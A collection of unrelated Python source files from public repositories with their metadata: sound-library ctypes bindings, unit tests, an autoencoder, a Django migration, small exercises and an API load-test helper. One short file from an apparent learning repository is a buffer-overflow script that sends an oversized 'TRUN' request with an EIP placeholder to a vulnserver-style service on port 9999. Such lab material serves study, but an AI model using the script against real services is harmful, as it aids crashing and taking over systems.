SND_RAWMIDI_CHANNEL_OUTPUT 1 # #define SND_RAWMIDI_INFO_OUTPUT 0x00000001 /* device is capable # * rawmidi output */ # #define SND_RAWMIDI_INFO_INPUT 0x00000002 /* device is capable # * rawmidi input */ # #define SND_RAWMIDI_INFO_DUPLEX 0x00000004 /* device is capable the # * duplex module */ # typedef struct snd_rawmidi_info # { # int32_t type; /* soundcard type */ # uint32_t flags; /* see SND_RAWMIDI_INFO_XXXX */ # uint8_t id[64]; /* ID of this RawMidi device */ # char name[80]; /* name of this RawMidi device */ # uint8_t reserved[128]; /* must be filled with zero */ # } snd_rawmidi_info_t; # typedef struct snd_rawmidi_params_s # { # int32_t channel; # int32_t size; # int32_t room; # int32_t max; # int32_t min; # uint8_t reserved[132]; /* must be filled with zero */ # } snd_rawmidi_params_t; # typedef struct snd_rawmidi_status_s # { # int32_t channel; # int32_t size; # int32_t count; # int32_t queue; # int32_t free; # int32_t overrun; # uint8_t reserved[128]; /* must be filled with zero */ # } snd_rawmidi_status_t; # #define SND_RAWMIDI_IOCTL_PVERSION _IOR ('W', 0x10, int) # #define SND_RAWMIDI_IOCTL_INFO _IOR ('W', 0x20, snd_rawmidi_info_t) # #define SND_RAWMIDI_IOCTL_CHANNEL_PARAMS _IOW ('W', 0x30, snd_rawmidi_params_t) # #define SND_RAWMIDI_IOCTL_CHANNEL_STATUS _IOWR('W', 0x40, snd_rawmidi_status_t) # #define SND_RAWMIDI_IOCTL_CHANNEL_DRAIN _IOW ('W', 0x50, int) # #define SND_RAWMIDI_IOCTL_CHANNEL_FLUSH _IOW ('W', 0x51, int) # /*****************/ # /*****************/ # /** Vector Ops ***/ # /*****************/ # /*****************/ # typedef struct snd_v_args_s # { # /* .../ asound/lib/pcm/pcm.c:687 */ # int32_t count; # uint8_t zero[4]; /* alignment -- zero fill */ # const struct iovec *vector; # void *pzero; /* align pointers on 64-bits --> point to NULL */ # } snd_v_args_t; # #define SND_IOCTL_READV _IOW ('K', 0x20, snd_v_args_t) # #define SND_IOCTL_WRITEV _IOW ('K', 0x30, snd_v_args_t) SND_PCM_OPEN_PLAYBACK = 0x0001 SND_PCM_OPEN_CAPTURE = 0x0002 SND_PCM_OPEN_DUPLEX = 0x0003 SND_PCM_OPEN_NONBLOCK = 0x1000 PLUGIN_DISABLE_BUFFER_PARTIAL_BLOCKS = 1 << 0 PLUGIN_DISABLE_MMAP = 1 << 1 snd_pcm_find = _func(c_int, c_uint, POINTER(c_int), POINTER(c_int), POINTER(c_int), c_int) snd_pcm_open = _func(c_int, POINTER(POINTER(snd_pcm_t)), c_int, c_int, c_int) snd_pcm_open_name = _func(c_int, POINTER(POINTER(snd_pcm_t)), c_char_p, c_int) snd_pcm_open_preferred = _func(c_int, POINTER(POINTER(snd_pcm_t)), POINTER(c_int), POINTER(c_int), c_int) snd_pcm_close = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_file_descriptor = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_nonblock_mode = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_info = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_info_t)) snd_pcm_channel_info = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_channel_info_t)) snd_pcm_channel_params = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_channel_params_t)) snd_pcm_channel_setup = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_channel_setup_t)) snd_pcm_channel_status = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_channel_status_t)) snd_pcm_playback_prepare = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_capture_prepare = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_channel_prepare = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_playback_go = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_capture_go = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_channel_go = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_playback_pause = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_capture_pause = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_channel_pause = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_playback_resume = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_capture_resume = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_channel_resume = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_playback_drain = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_playback_flush = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_capture_flush = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_channel_flush = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_transfer_size = _func(ssize_t, POINTER(snd_pcm_t), c_int) snd_pcm_write = _func(ssize_t, POINTER(snd_pcm_t), c_void_p, size_t) snd_pcm_read = _func(ssize_t, POINTER(snd_pcm_t), c_void_p, size_t) # snd_pcm_mmap = _func(c_int, POINTER(snd_pcm_t), c_int, POINTER(POINTER(snd_pcm_mmap_control_t)), POINTER(c_void_p)) snd_pcm_munmap = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_get_audioman_handle = _func(c_int, POINTER(snd_pcm_t), POINTER(c_uint)) snd_pcm_set_audioman_handle = _func(c_int, POINTER(snd_pcm_t), c_uint) # snd_pcm_link = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_t)) # snd_pcm_unlink = _func(c_int, POINTER(snd_pcm_t)) # misc snd_pcm_format_signed = _func(c_int, c_int) snd_pcm_format_unsigned = _func(c_int, c_int) snd_pcm_format_linear = _func(c_int, c_int) snd_pcm_format_little_endian = _func(c_int, c_int) snd_pcm_format_big_endian = _func(c_int, c_int) snd_pcm_format_width = _func(c_int, c_int) # in bits snd_pcm_build_linear_format = _func(c_int, c_int, c_int, c_int) snd_pcm_format_size = _func(ssize_t, c_int, size_t) snd_pcm_get_format_name = _func(c_char_p, c_int) snd_cards = _func(c_int) snd_cards_list = _func(c_int, POINTER(c_int), c_int, POINTER(c_int)) snd_card_name = _func(c_int, c_char_p) snd_card_get_name = _func(c_int, c_int, c_char_p, size_t) snd_card_get_longname = _func(c_int, c_int, c_char_p, size_t) snd_ctl_open = _func(c_int, POINTER(POINTER(snd_ctl_t)), c_int) snd_ctl_open_name = _func(c_int, POINTER(POINTER(snd_ctl_t)), c_char_p) snd_ctl_close = _func(c_int, POINTER(snd_ctl_t)) snd_ctl_driver_version = _func(c_int, POINTER(snd_ctl_t)) snd_ctl_file_descriptor = _func(c_int, POINTER(snd_ctl_t)) snd_ctl_hw_info = _func(c_int, POINTER(snd_ctl_t), POINTER(snd_ctl_hw_info_t)) snd_ctl_switch_list = _func(c_int, POINTER(snd_ctl_t), POINTER(snd_switch_list_t)) # snd_ctl_switch_read = _func(c_int, POINTER(snd_ctl_t), POINTER(snd_switch_t)) # snd_ctl_switch_write = _func(c_int, POINTER(snd_ctl_t), POINTER(snd_switch_t)) snd_ctl_pcm_info = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_pcm_info_t)) snd_ctl_pcm_channel_info = _func(c_int, POINTER(snd_ctl_t), c_int, c_int, c_int, POINTER(snd_pcm_channel_info_t)) snd_ctl_pcm_channel_switch_list = _func(c_int, POINTER(snd_ctl_t), c_int, c_int, POINTER(snd_switch_list_t)) snd_ctl_pcm_playback_switch_list = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_switch_list_t)) snd_ctl_pcm_capture_switch_list = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_switch_list_t)) # snd_ctl_pcm_channel_switch_read = _func(c_int, POINTER(snd_ctl_t), c_int, c_int, POINTER(snd_switch_t)) # snd_ctl_pcm_playback_switch_read = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_switch_t)) # snd_ctl_pcm_capture_switch_read = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_switch_t)) # snd_ctl_pcm_channel_switch_write = _func(c_int, POINTER(snd_ctl_t), c_int, c_int, POINTER(snd_switch_t)) # snd_ctl_pcm_playback_switch_write = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_switch_t)) # snd_ctl_pcm_capture_switch_write = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_switch_t)) # snd_ctl_mixer_info = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_mixer_info_t)) snd_ctl_mixer_switch_list = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_switch_list_t)) # snd_ctl_mixer_switch_read = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_switch_t)) #snd_ctl_mixer_switch_write = _func(c_int, POINTER(snd_ctl_t), c_int, POINTER(snd_switch_t)) # snd_ctl_read = _func(c_int, POINTER(snd_ctl_t), POINTER(snd_ctl_callbacks_t)) snd_mixer_open = _func(c_int, POINTER(POINTER(snd_mixer_t)), c_int, c_int) snd_mixer_open_name = _func(c_int, POINTER(POINTER(snd_mixer_t)), c_char_p) snd_mixer_close = _func(c_int, POINTER(snd_mixer_t)) snd_mixer_file_descriptor = _func(c_int, POINTER(snd_mixer_t)) # snd_mixer_info = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_info_t)) # snd_mixer_elements = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_elements_t)) # snd_mixer_routes = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_routes_t)) # snd_mixer_groups = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_groups_t)) # snd_mixer_group_read = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_group_t)) # snd_mixer_group_write = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_group_t)) # snd_mixer_element_info = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_element_info_t)) # snd_mixer_element_read = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_element_t)) # snd_mixer_element_write = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_element_t)) # snd_mixer_get_filter = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_filter_t)) # snd_mixer_set_filter = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_filter_t)) # snd_mixer_read = _func(c_int, POINTER(snd_mixer_t), POINTER(snd_mixer_callbacks_t)) snd_pcm_plugin_transfer_size = _func(ssize_t, POINTER(snd_pcm_t), c_int, size_t) snd_pcm_plugin_hardware_size = _func(ssize_t, POINTER(snd_pcm_t), c_int, size_t) snd_pcm_plugin_info = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_channel_info_t)) snd_pcm_plugin_set_disable = _func(c_uint, POINTER(snd_pcm_t), c_uint) snd_pcm_plugin_set_src_method = _func(c_uint, POINTER(snd_pcm_t), c_uint) snd_pcm_plugin_set_src_mode = _func(c_uint, POINTER(snd_pcm_t), c_uint, c_int) snd_pcm_plugin_src_max_frag = _func(c_int, POINTER(snd_pcm_t), c_uint) snd_pcm_plugin_update_src = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_channel_setup_t), c_int) snd_pcm_plugin_params = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_channel_params_t)) snd_pcm_plugin_setup = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_channel_setup_t)) snd_pcm_plugin_status = _func(c_int, POINTER(snd_pcm_t), POINTER(snd_pcm_channel_status_t)) snd_pcm_plugin_prepare = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_plugin_playback_drain = _func(c_int, POINTER(snd_pcm_t)) snd_pcm_plugin_flush = _func(c_int, POINTER(snd_pcm_t), c_int) snd_pcm_plugin_pointer = _func(c_int, POINTER(snd_pcm_t), c_int, POINTER(c_void_p), POINTER(size_t)) snd_pcm_plugin_write = _func(ssize_t, POINTER(snd_pcm_t), c_void_p, size_t) snd_pcm_plugin_read = _func(ssize_t, POINTER(snd_pcm_t), c_void_p, size_t) # snd_pcm_plugin_set_voice_conversion = _func(c_int, POINTER(snd_pcm_t), c_int, POINTER(snd_pcm_voice_conversion_t)) # snd_pcm_plugin_get_voice_conversion = _func(c_int, POINTER(snd_pcm_t), c_int, POINTER(snd_pcm_voice_conversion_t)) snd_strerror = _func(c_char_p, c_int) #---------------------------- # apply argtypes/restype to all functions # _register_funcs('libasound.so', globals()) # EOF

[ "peter@engcorp.com" ]

peter@engcorp.com

40d86f8b94472be347d9dfd40e701d0c50a4370d

ac85e1ba9b5cf9e72698705560be1e9470a13c48

/test_formater.py

ae4b33023f1dffd058513074b53a8f2068e78b84

[]

no_license

FernandaHinojosa/testing

79c7a3bae92a09a383acee2c877b5dd1aa206671

7f43eaf47591a80f16749041524f61d624ac0975

refs/heads/master

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from unittest import TestCase from main import Formater import sys sys.tracebacklimit = 0 class TestFormater(TestCase): def setUp(self): print(self._testMethodDoc) def tearDown(self): pass def test_clean_integers(self): """-- Test Clean Integers""" msg = "The correct numerical value is not being returned" self.assertEqual(Formater.clean_number('9, 000 000'), 9000000, msg=msg) self.assertEqual(Formater.clean_number('5'), 5, msg=msg) self.assertEqual(Formater.clean_number('58, 710, 520'), 58710520, msg=msg) def test_correct_int_cast(self): """-- Test Int Cast """ msg = "The correct type is not being returned for the integers" self.assertIsInstance(Formater.clean_number('9, 000 000'), int, msg=msg) self.assertIsInstance(Formater.clean_number('5'), int) self.assertIsInstance(Formater.clean_number('58, 710, 520'), int, msg=msg) def test_clean_floats(self): pass def test_correct_float_cast(self): pass def test_comma_afther_dot(self): pass def test_multiple_dots(self): pass def test_no_valid_entrys(self): pass

[ "red2000ace@gmail.com" ]

red2000ace@gmail.com

f94c16d5dafa51a22ec02299b323a9e837bbb34f

754e748200c84138b023f6d2213ae8046df22803

/learn/vlunser/space.py

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no_license

0xarun/bufferoverflow

e344d44742dbb37b06079ed64a0ec58f120f09bc

ce2de29786a686163f3e42d91376499b61d3f0f3

refs/heads/main

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2021-01-31T07:52:48

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import time, struct, sys import socket server = "192.168.225.105" port = 9999 OFFSET = "A" * 2003 EIP = "BBBB" SAMPLE = "CCCCC" space = "D"*1000 req = "TRUN /.:/" + OFFSET + EIP + SAMPLE + space s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) print(s.recv(1024)) s.send(req)

[ "noreply@github.com" ]

noreply@github.com

5dbd16bad92c13444eb77d53b650fba51d099460

7f8cebd9315129bcdb7ef220dc449cda26a19ce4

/models/aetanh.py

bcff65d94ee5b2f960314125e4beb4f15db6e754

[]

no_license

KaiqianZhang/dpcca_v8

75477b1768905b6c41838c8da9ff77fba13b5a45

1b65fc0c3ec6b182907ba070e859c1d92fc98942

refs/heads/master

2020-08-30T09:32:58.485684

2019-11-11T17:34:55

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"""============================================================================= Autoencoder. =============================================================================""" import numpy as np from torch import nn # ------------------------------------------------------------------------------ class AETanH(nn.Module): def __name__(self): return 'AE' # ------------------------------------------------------------------------------ def __init__(self, cfg): super(AETanH, self).__init__() assert cfg.GENE_EMBED_DIM < 12 self.nc = cfg.N_CHANNELS self.w = cfg.IMG_SIZE self.input_dim = cfg.N_GENES self.encoder = nn.Sequential( nn.Linear(self.input_dim, 128), nn.Tanh(), nn.Linear(128, 64), nn.Tanh(), nn.Linear(64, cfg.GENE_EMBED_DIM) ) self.decoder = nn.Sequential( nn.Linear(cfg.GENE_EMBED_DIM, 64), nn.Tanh(), nn.Linear(64, 128), nn.Tanh(), nn.Linear(128, self.input_dim) ) # ------------------------------------------------------------------------------ def encode(self, x): x = x.view(-1, np.prod(x.shape[1:])) return self.encoder(x) # ------------------------------------------------------------------------------ def decode(self, z): x = self.decoder(z) return x.view(-1, self.input_dim) # ------------------------------------------------------------------------------ def forward(self, x): x = self.encode(x) x = self.decode(x) return x

[ "ggundersen@gmail.com" ]

ggundersen@gmail.com

a0d18993b6906afca87c3392a769e58c0dd83185

24f9f3ce945c84d6afe32870e320a1d5c9d896ac

/Week2/Code/dictionary.py

605830369ca42ea1462fd5787dd45982740e75ba

[]

no_license

acse-yq3018/CMEECourseWork

64c529db506a65e43cfc656726d66769b60742cd

8f2ae373f21f39d72780e64d74f27db1ae3c9c43

refs/heads/master

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#!/usr/bin/env python3 """Use dictionary to classify taxa""" __appname__ = 'dictionary.py' __author__ = 'Yuxin Qin (yq3018@imperial.ac.uk)' __version__ = '0.0.1' ################################################## taxa = [ ('Myotis lucifugus','Chiroptera'), ('Gerbillus henleyi','Rodentia',), ('Peromyscus crinitus', 'Rodentia'), ('Mus domesticus', 'Rodentia'), ('Cleithrionomys rutilus', 'Rodentia'), ('Microgale dobsoni', 'Afrosoricida'), ('Microgale talazaci', 'Afrosoricida'), ('Lyacon pictus', 'Carnivora'), ('Arctocephalus gazella', 'Carnivora'), ('Canis lupus', 'Carnivora'), ] # Write a short python script to populate a dictionary called taxa_dic # derived from taxa so that it maps order names to sets of taxa. # E.g. 'Chiroptera' : set(['Myotis lucifugus']) etc. # ANNOTATE WHAT EVERY BLOCK OR IF NECESSARY, LINE IS DOING! # ALSO, PLEASE INCLUDE A DOCSTRING AT THE BEGINNING OF THIS FILE THAT # SAYS WHAT THE SCRIPT DOES AND WHO THE AUTHOR IS # Write your script here: taxa_dic = {} for i, k in taxa: s = taxa_dic.get(k) or set () # taxa_dic(k) return a value of k s.add (i) taxa_dic[k] = s print (taxa_dic)

[ "yq3018@imperial.ac.uk" ]

yq3018@imperial.ac.uk

4a8ada6d088f1323d8cca6167d34a3532ee51e6b

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/code/amalgamtion_with_batch_label.py

b8bcd5d4e2bc9975c4f8627b7c1a103c81a390a9

[]

no_license

ouc-nlp/KABI

d3ba7dd21a008be36e4c46ceeb7f3c8da4da6523

f5720a5ef5c61fb5f46d97c0b15de469ef34a564

refs/heads/master

2023-02-22T18:42:28.521913

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py

import os import torch import torch.cuda as tc from torchvision import transforms from utils.MyImageFolder import ImagesListFileFolder from networks.resnet18_for_cifer100 import resnet18 import torch.nn as nn from utils.AverageMeter import AverageMeter from networks.rps_net_mlp import RPS_net_mlp from torchvision import models import argparse from utils.Utils import accuracy, get_concat_val_loader _model_dict = { 'rps_net_mlp': RPS_net_mlp, 'resnet18': resnet18, 'standard_resnet18': models.resnet18 } _dataset_class_number = { 'mnist':10, 'cifar100':100, 'ilsvrc2012':1000 } """ the accurcy of amalgamation models with batch labels """ def get_parser(): parser = argparse.ArgumentParser() parser.add_argument("--data_root", type=str, default='../datasets_folder') parser.add_argument("--model_root", type=str, default='../model') parser.add_argument("--dataset_name", type=str, default='cifar100') parser.add_argument("--batch_size", type=int, default=64) parser.add_argument("--model", type=str, default='resnet18') parser.add_argument("--gpu_id", type=str, default='0') parser.add_argument("--start", type=int, default=1) parser.add_argument("--end", type=int, default=10) parser.add_argument("--phases", type=int, default=10) return parser def main(): opts = get_parser().parse_args() models_folder=os.path.join(opts.model_root,opts.dataset_name,str(opts.phases)+'phases','amalgamation_models') model_file_name_list=os.listdir(models_folder) for model_file_name in model_file_name_list: model_path=os.path.join(models_folder,model_file_name) model = _model_dict[opts.model]() state = torch.load(model_path, map_location=lambda storage, loc: storage) num_cls = state['num_classes'] model.fc = nn.Linear(model.fc.in_features, num_cls) model.load_state_dict(state['state_dict']) model.cuda() model.eval() val_file_path_list = [] val_dataset_folder = os.path.join(opts.data_root,opts.dataset_name,str(opts.phases)+'phases','separated/test/batch_test') val_dataset_filename_list = os.listdir(val_dataset_folder) for val_dataset_filename in val_dataset_filename_list[:int(model_file_name[-2:])]: val_file_path = os.path.join(val_dataset_folder,val_dataset_filename) val_file_path_list.append(val_file_path) val_loader = get_concat_val_loader(val_file_path_list,opts.dataset_name,val_dataset_folder, opts.batch_size) top = AverageMeter() class_num_each_phase = _dataset_class_number[opts.dataset_name] // opts.phases for data in val_loader: inputs, labels = data if tc.is_available(): inputs, labels = inputs.cuda(0), labels.cuda(0) outputs = model(inputs) output_output = outputs for label_index in range(len(outputs)): min_value = torch.min(outputs[label_index]) for phase in range(opts.phases): if class_num_each_phase * phase <= labels[label_index] < class_num_each_phase * (phase + 1): outputs[label_index][:class_num_each_phase * phase] = min_value - 1 outputs[label_index][class_num_each_phase * (phase + 1):] = min_value - 1 if opts.dataset_name == 'ilsvrc2012': # compute top-5 classification accuracy for ilsvrc 2012 _, prec = accuracy(outputs.data, labels, topk=(1, 5)) else: # compute top-1 classification accuracy for cifar100 and mnist prec, _ = accuracy(outputs.data, labels, topk=(1, 2)) top.update(prec.item(), inputs.size(0)) # inputs.size(0) = batch_size print(top.avg) if __name__ == '__main__': main()

[ "xwh@ouc.edu.cn" ]

xwh@ouc.edu.cn

12d8dc00bbdec801fde535c2fb1573d4d8be79cc

d8d43bfb5ac50e88bf26ef59c9b3881b3d9686c6

/codecamp_project/campsessions/migrations/0004_auto__add_time__chg_field_session_time__add_index_session_time.py

b58f51a27c6f0b4ba8824297d6a03433b78bf199

[]

no_license

harmstyler/codecamp_project

929e48feae87c423c2670a46cf952bfb86117f15

8f367737d67b739fb1b11d9d214fbd910ccc5dfa

refs/heads/master

2021-01-19T13:50:39.470072

2013-08-04T20:46:36

null

0

null

UTF-8

Python

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4,108

py

# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Time' db.create_table(u'campsessions_time', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('time', self.gf('django.db.models.fields.TimeField')()), )) db.send_create_signal(u'campsessions', ['Time']) # Renaming column for 'Session.time' to match new field type. db.rename_column(u'campsessions_session', 'time', 'time_id') # Changing field 'Session.time' db.alter_column(u'campsessions_session', 'time_id', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['campsessions.Time'], null=True)) # Adding index on 'Session', fields ['time'] db.create_index(u'campsessions_session', ['time_id']) def backwards(self, orm): # Removing index on 'Session', fields ['time'] db.delete_index(u'campsessions_session', ['time_id']) # Deleting model 'Time' db.delete_table(u'campsessions_time') # Renaming column for 'Session.time' to match new field type. db.rename_column(u'campsessions_session', 'time_id', 'time') # Changing field 'Session.time' db.alter_column(u'campsessions_session', 'time', self.gf('django.db.models.fields.TimeField')(default=0)) models = { u'campsessions.room': { 'Meta': {'ordering': "['name']", 'object_name': 'Room'}, 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '60'}) }, u'campsessions.session': { 'Meta': {'ordering': "['title']", 'object_name': 'Session'}, 'abstract': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'room': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['campsessions.Room']", 'null': 'True'}), 'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50'}), 'speakers': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['speakers.Speaker']", 'symmetrical': 'False'}), 'time': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['campsessions.Time']", 'null': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '60'}) }, u'campsessions.time': { 'Meta': {'ordering': "['time']", 'object_name': 'Time'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'time': ('django.db.models.fields.TimeField', [], {}) }, u'speakers.speaker': { 'Meta': {'ordering': "['last_name']", 'object_name': 'Speaker'}, 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50'}) } } complete_apps = ['campsessions']

[ "tyler.harms@gmail.com" ]

tyler.harms@gmail.com

5824f026706f22fed9333ce3b0f3cdc2674fb5cf

afb7d4d6013b6a9022d707d5835a3dd578214b2e

/Bite_172.py

d38f7db655c51e87afd6b54e249df6347f9a2efa

[]

no_license

JB0925/Bites

86f0bd49d8b53376257c14df280ae0a9643139a2

f884ce4ffd7ce39afcea5b86a80cec14c607a4f0

refs/heads/master

2023-03-29T21:48:42.849729

2021-03-29T01:37:48

316,419,350

0

null

UTF-8

Python

false

375

py

from functools import partial # create 2 partials: # - 'rounder_int' rounds to int (0 places) # - 'rounder_detailed' rounds to 4 places rounder_int = 0 rounder_detailed = 0 def round_to_int(num, places): return round(num, places) rounder_int = partial(round_to_int, places=0) rounder_detailed = partial(round_to_int, places=4) print(rounder_detailed(10.4232567))

[ "jbrink0925@gmail.com" ]

jbrink0925@gmail.com

7840c7e3a7666d10832cfc9de216c5f356783730

2fbdf22081ea33ad23e246ffd390438b89e4f6b6

/PerceptronClassifier/main.py

589676e77fcbb3c8cd32e691a25212b9dfab6e31

[]

no_license

Vladimir1994/MachineLearning

bb13836abc8ea523b10890a9208009ffa4e9db84

7fd8a9b10fe97b1df80309e92e6cd6e6c5f75cb6

refs/heads/master

2021-01-10T15:23:05.173110

2016-04-09T21:14:22

48,575,524

0

null

UTF-8

Python

false

1,306

py

import numpy as np from sklearn.linear_model import Perceptron from sklearn.metrics import accuracy_score from sklearn.preprocessing import StandardScaler def count_accuracy(train_markers, train_features, test_markers, test_features, is_standard): if is_standard: scaler = StandardScaler() train_features = scaler.fit_transform(train_features) test_features = scaler.transform(test_features) clf = Perceptron() clf.fit(train_features, train_markers) predictions = clf.predict(test_features) accuracy = accuracy_score(test_markers, predictions) return accuracy def main(): train_data = np.loadtxt('perceptron-train.csv', delimiter=',') test_data = np.loadtxt('perceptron-test.csv', delimiter=',') train_markers = train_data[:, 0] train_features = train_data[:, 1:] test_markers = test_data[:, 0] test_features = test_data[:, 1:] acc_standard = count_accuracy(train_markers, train_features, test_markers, test_features, True) acc_not_standard = count_accuracy(train_markers, train_features, test_markers, test_features, False) acc_dif = acc_standard - acc_not_standard print(acc_dif) if __name__ == "__main__": main()

[ "vladimir.matveev.1994@mail.com" ]

vladimir.matveev.1994@mail.com

c48fcc8440c694ee49e258c7188c7d92ea4424b6

b367dfbc07fdfcc55d1d43839646c8b91eb18b2f

/simple calculater - Copy.py

f7f823e9521620e6c148401980e45404c32040c3

[]

no_license

manpreetSingh1308/Python-programs

cd5c6baf7fd2662c0cad68a89dc9990e91ca0c79

fb012c41fcbe011533eaa51886d986272376e9f6

refs/heads/main

2023-08-19T23:45:52.080045

2021-10-30T20:07:24

422,979,639

0

null

2021-10-30T20:04:49

null

UTF-8

Python

false

1,400

py

# Program make a simple calculator # This function adds two numbers def add(x, y): return x + y # This function subtracts two numbers def subtract(x, y): return x - y # This function multiplies two numbers def multiply(x, y): return x * y # This function divides two numbers def divide(x, y): return x / y print("Select operation.") print("1.Add") print("2.Subtract") print("3.Multiply") print("4.Divide") while True: # take input from the user choice = input("Enter choice(1/2/3/4): ") # check if choice is one of the four options if choice in ('1', '2', '3', '4'): num1 = float(input("Enter first number: ")) num2 = float(input("Enter second number: ")) if choice == '1': print(num1, "+", num2, "=", add(num1, num2)) elif choice == '2': print(num1, "-", num2, "=", subtract(num1, num2)) elif choice == '3': print(num1, "*", num2, "=", multiply(num1, num2)) elif choice == '4': print(num1, "/", num2, "=", divide(num1, num2)) # check if user wants another calculation # break the while loop if answer is no next_calculation = input("Let's do next calculation? (yes/no): ") if next_calculation == "no": break else: print("Invalid Input")

[ "noreply@github.com" ]

noreply@github.com

934e6966fbd17ae8a420204911909a52151bbaf6

8d5f49fa1fda8ffc473e7f5a62786c77838a5820

/website/load_tests/drawquest/test_scripts/utils.py

e305eef730b14c15bd7911f0cf1ade88885204ff

[ "BSD-3-Clause" ]

permissive

MichaelBechHansen/drawquest-web

dfc6f5d9541860a5df23db678e82564a230bd42e

8d8f9149b6efeb65202809a5f8916386f58a1b3b

refs/heads/master

2021-01-14T10:30:10.861222

2015-11-10T03:13:42

null

0

null

UTF-8

Python

false

1,724

py

import json import uuid import requests PASSWORD = 'testpassword' #QUEST_ID = 658 #QUEST_ID = 926 #staging smilie QUEST_ID = 7004 PLAYBACK_DATA = '' TEST_USERNAME = 'test_account__' TEST_PASSWORD = 'testaccount' class ApiError(Exception): pass class HttpError(Exception): pass class ApiConsumer(object): def __init__(self): self.session_id = None def call(self, endpoint, params={}): payload = json.dumps(params) headers = { 'content-type': 'application/json', } if self.session_id: headers['X-SESSIONID'] = self.session_id ret = requests.post('http://api.staging.example.com/' + endpoint, data=payload, headers=headers) if ret.status_code != 200: raise HttpError(ret.status_code) if not ret.json.get('success'): raise ApiError(ret.json) return ret.json def signup(self, username=None): if not username: username = '_TEST_' + str(uuid.uuid4())[-10:].replace('-', '_') ret = self.call('auth/signup', { 'username': username, 'email': '{}@example.example'.format(username), 'password': PASSWORD, }) self.session_id = ret['sessionid'] def heavy_state_sync(self): return self.call('heavy_state_sync') def onboarding_quest(self): return self.call('quests/onboarding') def quest_comments(self, quest_id): return self.call('quests/comments', {'quest_id': quest_id}) class DrawquestTransaction(object): def __init__(self): self.custom_timers = {} def main(trans_cls): trans = trans_cls() trans.run() print trans.custom_timers

[ "alex.ehlke@gmail.com" ]

alex.ehlke@gmail.com

